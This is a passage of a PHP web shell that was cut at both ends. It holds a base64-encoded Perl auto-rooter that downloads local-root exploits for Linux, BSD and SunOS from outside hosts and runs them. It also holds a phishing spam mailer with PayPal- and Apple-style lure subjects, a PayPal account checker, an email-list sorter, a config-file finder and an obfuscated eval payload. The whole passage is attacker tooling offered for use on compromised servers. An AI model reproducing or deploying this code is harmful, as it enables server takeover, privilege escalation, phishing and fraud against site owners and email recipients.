w0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
fclose($chmoderr);
chmod("lulZ/autoroot.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
$lol = fopen("lulZ/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
echo "<p>Autoroot Command : perl autoroot.pl</p>";

}
}

//////////////////////  Mailer  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'mailer')) {
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Spam Mailer</span><center><br>';
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'].$_POST['assunto2'];
$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$email = explode("n", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
$headers  = "MIME-Version: 1.0n";
$headers .= "Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Mailer: EDMAIL R6.00.02
Content-Length: 41061n";
$headers .= "From: ".$email[$i]."rn";
if(mail($email[$i], $subject, $message, $headers))
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#0982ba>Sent . . . *o*</font><br><hr class=style-three></center>";
else
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#b41420>Error in Sending ? :(</font><br><hr class=style-three></center>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "";

}


echo'<html><head><title>|| Priv8 M@iler ||</title><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>';

echo'<body><center><form action="" method="post" enctype="multipart/form-data" name="form1"><div class="style2"><input type="hidden" name="veio" value="sim">
<tr><center>
<table style="width: 100%"></center>
<tr>
<td style="width: 1686px">
<center><table border="0" width="80%" bordercolorlight="white" bordercolordark="white" style="border: 1px solid white; border-radius:4px;" bgcolor="#222222" >
<td height="25" align="center" bgcolor="#222222" style="width: 849px">
<img alt="" height="120" src="http://icons.iconarchive.com/icons/iconshock/real-vista-mail/256/inbox-icon.png" width="250"></td><tr align="center">
<td style="width: 849px" ><font class="fontx1">
</td>
</center>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#222222" style="width: 849px">
<table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
<tr><td height="17" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| SUBJECT :</font></b></td>
<td height="17"><select name="assunto" id="assunto" class="form2" style="width: 250px">
<option selected value="">Select Title</option>
<option value="Test Test">Test Test</option>
<option value="Apple Expiration de Votre Compte Ref : MNE0-13NB">Apple Expiration de Votre Compte Ref : MNE0-13NB</option>
<option value="You may to Update Your Account ID">You may to Update Your Account ID</option>
<option value="Update your account information">Update your account information</option>
<option value="Your account has been limited until we hear from you">Your account has been limited until we hear from you</option>
</select><font class="fontx1"> OR <input name="assunto2" id="assunto" class="form2" type="text" style="width: 280px">
</td></tr><tr align="center" bgcolor="#007700">
<td height="20" colspan="2" bgcolor="#222222" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
|LETTER :</font></b></td></tr>
<tr align="right">
<td height="146" colspan="2" valign="top"><br>
<textarea class="area" name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="20"></textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Reminder : Text HTML |</font></b></td>
</tr><tr align="center" bgcolor="#222222">
<td height="10" colspan="2" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
| MAILING LIST :</font></b></tr>
<tr align="right">
<td height="136" colspan="2" valign="top"><br>
<textarea class="area" name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="20">
[email protected]</textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Mail List |</font></b> </td>
</tr><tr>
<td height="26" valign="top" colspan="2" class="style1"><input class="button grey" type="submit" name="Submit" value="Send Message"></td>
</tr></table></td></tr></table></center><br><br></td>
</div>
</form>
</body>';
}
//////////////////////  PAYPAL  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'ppcheck')) {
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">PayPal Valid Email
Checker Priv8 by Kaizen</span><center><br>';
@set_time_limit(0);

function curl($url='',$var='',$Follow=False){
global $set;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
echo "<head>
<style type="text/css"><!--
body {

font-family: 'Open Sans', sans-serif; font-size:13px}
hr {border:inset 1px #E5E5E5}
#form-container
{
border: solid 1px white;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 4px #009900;
-moz-box-shadow: 0px 0px 4px #009900;
-webkit-box-shadow: 0px 0px 4px #009900;
margin:30px auto;
padding:10px;
width:910px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

#form-container1
{
border: solid 1px white;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 15px white;
-moz-box-shadow: 0px 0px 15px white;
-webkit-box-shadow: 0px 0px 15px white;
margin:30px auto;
padding:10px;
width:280px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

input[type=text], textarea
{
background:transparent;
border:solid 1px white;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
}
textarea { width:100%;height:200px; resize:none }
input[type=text] { width:160px;text-align:center }
input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px white; color:white;}
.submit-button
{
background: #57A02C;
border:solid 1px #57A02C;
border-radius:5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
border-bottom: 1px solid rgba(0,0,0,0.25);
position: relative;
color:#333333;
display: inline-block;
cursor:pointer;
font-size:13px;
padding:3px 8px;
}
.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
.table
{
border: solid 1px white;
border-radius:10px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
padding-left:10px;
}

.unverified
{
color:#800000;
font-weight: bold;
}
.business{
color:yellow;
font-weight: bold;
}
.premier{
color:#00FF00;
font-weight: bold;
}
.verified{
color:#800080;
font-weight: bold;
}
.nolog{
font-size: 10px;
font: red;
}


--></style>
<title>Valid Email Checker</title>
</head><div align="center"></center>";

$emails = $_POST['emails'];
print '<div id="form-container"> <form method="POST">

<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
Checker<br></font></p>

<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
</form> </div>';
if (!empty($emails)) {
$emails = explode("rn", $emails);
$yes = 0;
$not = 0;
$inv = 0;
$count = 1;
print "<p align="center"><b>Checking <font color="#ff8f00"> ".count($emails)."</font> emails ....</b><br></p><p align="center">";
foreach ( $emails as $email ) {
$email = trim($email);
print $count .".<b> Checking <font color="#ff8f00">".$email."</font>  ..... </b>";
$count++;
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com&currency=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
if(!strpos($_CheckAction, "region")) {
print "<b><font size="3" color="#006600">Yes</font></b> <br>";
$yes++;
$vaild_yes .=$email."n";
}
else {
print "<b><font color="#FF0000">NO</font></b><br>";
$not++;
$vaild_no .=$email."n";
}
}
else {
print "<b><font color="#FF0000">Invalid email</font></b><br><br>";
$inv++;
$invaild .=$email."n";
}
}

print '<p><table border="0" width="100%">

<tr>
<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
</tr>
<tr>
<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
</tr>
</table></p>';
}
}
//////////////////////  EMAIL EXTRACTOR  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'extra')) {
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Email Extractor</span><center><br>';
echo'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
<center>
<form method="post">
<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
<center><strong><input type="submit" id="gobutton" name="Extazy007" value="&nbsp;&nbsp;Start&nbsp;&nbsp;"></strong></center></form>';

$types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
if($_POST["Extazy007"] && !empty($_POST["mails"])){
foreach(explode("n", $_POST["mails"]) as $mail){
foreach($types as $type){
if(eregi("@".$type, $mail)){
$file = fopen($type.".txt", "a");
fwrite($file, $mail."n");
}
}
}
echo '<font size="4">';
if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo '</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : '.count(file("hotmail.txt")).'</br>'; }
if(file_exists("gmail.txt")){ rd("gmail.txt"); echo '</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : '.count(file("gmail.txt")).'</br>'; }
if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo '</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : '.count(file("yahoo.txt")).'</br>'; }
if(file_exists("aol.txt")){ rd("aol.txt"); echo '</br><a style="background:#efefef;" href="aol.txt">Aol</a> : '.count(file("aol.txt")).'</br>'; }
if(file_exists("mail.txt")){ rd("mail.txt"); echo '</br><a style="background:#efefef;" href="mail.txt">Mail</a> : '.count(file("mail.txt")).'</br>'; }
if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo '</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : '.count(file("rocketmail.txt")).'</br>'; }
if(file_exists("orange.txt")){ rd("orange.txt"); echo '</br><a style="background:#efefef;" href="orange.txt">Orange</a> : '.count(file("orange.txt")).'</br>'; }
if(file_exists("live.txt")){ rd("live.txt"); echo '</br><a style="background:#efefef;" href="live.txt">Live</a> : '.count(file("live.txt")).'</br>'; }
if(file_exists("outlook.txt")){ rd("outlook.txt"); echo '</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : '.count(file("outlook.txt")).'</br>'; }
if(file_exists("sfr.txt")){ rd("sfr.txt"); echo '</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : '.count(file("sfr.txt")).'</br>'; }
if(file_exists("laposte.txt")){ rd("laposte.txt"); echo '</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : '.count(file("laposte.txt")).'</br>'; }
if(file_exists("msn.txt")){ rd("msn.txt"); echo '</br><a style="background:#efefef;" href="msn.txt">Msn</a> : '.count(file("msn.txt")).'</br>'; }
if(file_exists("skynet.txt")){ rd("skynet.txt"); echo '</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : '.count(file("skynet.txt")).'</br>'; }
echo '</font>';
echo '<br><font color="Green"><p>Done With Success ! </p></font><br>';
}
function rd($file)
{
$text = array_unique(file($file));
if($text)
$f = @fopen($file,'w');
if($f){
fputs($f, join('',$text));
}
}
echo'
<br>
<strong><font face="Tahoma" color="blue" size="4">
Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007 Recode by Kaizen</font></strong>
<br><br>
<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
</center>

';
}
if(isset($_GET['action']) && $_GET['action'] == 'srchffilsses'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Search Engine</span><center><br>';
echo'<body bgcolor="blue" text="white">
<p align="center">
<img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
</head>';

echo'<form action="" method="post"><center><br/>
<label for="dirdir">Directory</label><br/>
<input type="text" id="dirdir"  name="dirdir" value="/" /><br/><br/>
<label for="filezzz">Files</label><br/>
<textarea class="area" rows="4" cols="50" name="filezzz">
config
auth
db
root
master

</textarea><br/><br/>
<input type="submit" value="search now !" />
</form></center>';

set_time_limit(0);
error_reporting(0);

if(!empty($_POST['dirdir']) && !empty($_POST['filezzz'])){
$dirdir = $_POST['dirdir'];
$filezzz = $_POST['filezzz'];
echo("<center>FILES</center>");
$files = glob($dirdir.'/*.php', GLOB_BRACE);
foreach($files as $file) {
foreach(explode("n", $filezzz) as $f) {
$s = file_get_contents($file);
$f = preg_replace('/s+/', '', $f);
$lines   = file($file);
$line_number = false;
while (list($key, $line) = each($lines) and !$line_number) {
$line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
}
if (strpos($s, $f) !== false) {
echo '<center>';
echo("<br/><b>File:</b> ".$file);
echo '<hr>';
echo("<br/><b>Line:</b> ".$line_number);
echo("<br/><b>Function:</b> ".$f);
echo '<hr>';
echo '</center>';
}
}
}
}
}

//////////////////////  KILL  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'kill')) {
$file = $_SERVER['PHP_SELF'];
$file = str_replace('/', '', $file);
unlink($file);
echo '<center><font color="#58FAF4">You killed me now o.O</font></center>';
header('refresh: 2; '.$_SERVER['PHP_SELF'].'');
}
//////////////////////  LOGS  ////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'logs')) {
$hps ='PD9waHAgLy8tLSByZWNvZGVkIGJ5IFZpcnVzYSBXb3JtIC0tLy8NCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVQSUVVVDNCdndQamNZczdNMUFaTDFJRFB3bjJsQzYwc3Byb3ovZnJNZ1RyTHF5TWNBc2hOc1V5YXJLUjBSR3B2cTNYOC8zOCt2SGo5Ly85ZVBuL1ZlN25aLzEvcXVXODlQdXY4cDdYUGQ3OVhsK2x2T1Q0cnQxT3ovbi9mVjhibjJkbnlQK3JYdjkrMmY4TGVmZmRqNmI2dmtwMDNXTDc3N2RYNzVmNXpSZG4ydWw3ZVA1OW4yOS9QRisyai9XS3gvMzY1L3M5M21lZnQ3OEovYjh2L045MnYrNTN1ZCs4M3JwNDN6cFkvL3oyZnpwdno4N1gvM2YvZjdTKzlpM251ZHVaNnhMZi9lOHprZjRyWlg0UHUvaDUzcmViM3M4VTNPc1VjODhxZWM2K2V1OFBuMlIzeEdqdmtiUG05emptU1BmZExZamNsQzJKOVk4MTJrdG5xMUhmTmZYNkw3dG4wcGUySWFlazVudjIvbXBPMmR0N04xei9CRi90YWV2YldQbCtoWG5MU213c0hMMmpvZnVsMjVQUGUzSzU3MTBpL3Q5ajc1bnVjVXpPY2M1ZksvN29yOVRlTDZmZTMxRUhQcmZTczdvMlJmN2xiQ3RuNld2cmYwMjdPZzJwb2lEOXU1bjNlSzVmaWI1WkF0YjlPeksrOHQ0djl1VDY4QlBKVzhxNy9hWWRILzJOVnZHNzRWL2s1Zkt6VEwyRWkvMDNHK3NrNGpqOFgyZnZJVXYrbHJ5UithWkhaK3Q0VVA1cU1iNmZkMU1udlh2OVh3TGUrV2pJL3lzYS9ick1YVU96dGpxdnVoN05QSlpQaXRoczJ6YUIyLzFlNHIzRnZtZ3ZGamowOThSajY3REp0bkR2VVkrZEZ4azRxTjgvb3BjMHllSEh6b2VaQWUrN1B1TGg0LzROR0xWODdyYkpQdjJPRTlad053Qjk1RS8vYnlYWC9yekpkNVA1b1dOdk4rakZ2VG4rbHI1QVllQUlmSGJDaCtrMkYveDROekt2eVg4WE1DMm50L3dWUVBMbFdjcVBrNnhubUtad09vV1BGUGgxWXFkNHYwSDN4RUx4YXpCQjNCTGFjT0htWGU2YitRVGVLRG5UMkZQeGJsRUhBcDhacHgxWHV2djZ1emdvcjlyVENyV0pmWTJqdlVPSEtIekpMak4rQ0tuRlovSDRLNEd6OHUzT3o3Y3cxY04vak1IOW1leU1UUFZPUEZIb2I3ZHlOMFV0c28vWC9oa0J3ZmtzdkMyd012NHFlT3NyUU5uRFd5SkExUFlLVHZlNGV2aTJQWHpMVC8vK1B2ZmZ2dlZIa04zWkRSRjV0MENUaFVuYWtLL2RrM0lZS1pRNzl0VU94VC9OT1hyay94UEVSdHhOYjRYbDRNVDhRZTJaTmRCTUdPczZsdzdkbjJCdFEyY2xUaXY4czQ0ZTVIZkNUdldrZXRhZndGSGZwL1k2TndiZXpmaTNrYnVaZGRZWTJXRmUvZXd2Nytmd0sxOGVncy9pQXYyOExHdkUzeXFYUDNpZWgvY0xVeGw2aDg4b0JnYm0vdFlOMU8vNU1zZExpWlBpMnRXSTdkdlladTQva0FMUENkK280YjBYRmMrb2tWVUE5azdVNmQ2UEdRaitFallwYk9nSmN3VHVnYzNTYzgrSnR6dm5QRUpGeDNoVitOWnVYeURtNS93NHp0c2REMFdIdUFjMlZhZDkreTM0WnMzc1U3d1FRNXVzRWJVSGp6YnlCdnJQZVZCaGJ2WE9FTWhMdElTTy90bmFpVm5kRDY1aHVzTTZJcEsvVzM0dkZJajJ6cjBrR3A4eFo4TDlwblQyVS8rV2tmdDhMbVVzdzI5dUE0dGs4eGw1S1E0ZE5ZU0daeVRBN1pQT0gzSE9ZUi8vQzZlZ3d2bGp6ek9tc0ZJY3Y0ZjRQakZ1ZENObWZPTEcxMUh3VkVDZHczZGUrVWhQblVkTGRnZ1R0anVWMDlsVGVEWUY3QW5QenJuOXFrbVArRXNjM0NoSGp5d3p4amE0Y2xDL3J5R1BzdkVWSnA4b1I0NXI0N3BiT0Mxb3VOMTdtUGtjK0w5NnJ4NkVIc3c1UnBuVFozUkM3TFJXREJQcDdqdm1pV2JEdkM0amU5cUh2elFiY3JVTEYyWHlBRnJ3WjRiRFgzUTF5bllMNzVHWitkOTVHbENtd3ZyMjFSUDRZSnFEWmpoNFlLdjBjemlnakxXU1dEdHlzOHQ3Qzc3cU1ONmg3cWcyQjNZdU9DRERhN1k4QVc2VUxoY3B6cFBEMVhSc3cxOWtLeDdicE4rdFMzVU9YRVhkVTd2MFlzVTFpNmNQVk43dXM5VjM5ZUl2L1ltdnNWMTNWeUpoaFV1RTNGNkVHdmIrSnIwNmd2K2MyOWpqRHhIRG9wUER2UUtXRmFkZXVGLzlJeDhUNjQzZkZ1b2Qya0wzYkVkeTh1NlE5aDZFeGY2a2Y2K3pzR1pDckYxYnFxR3VDWlNLMXpmRW55VHphZkczUmYxQ1M2VjMrQk1hN3U1L2lqUGo5amJISFQxenVhWTUvQ3ZaalBXVGN1a1dkZkJXZGJDamZwUzBPc0ZQV05kS2QzM2htL0F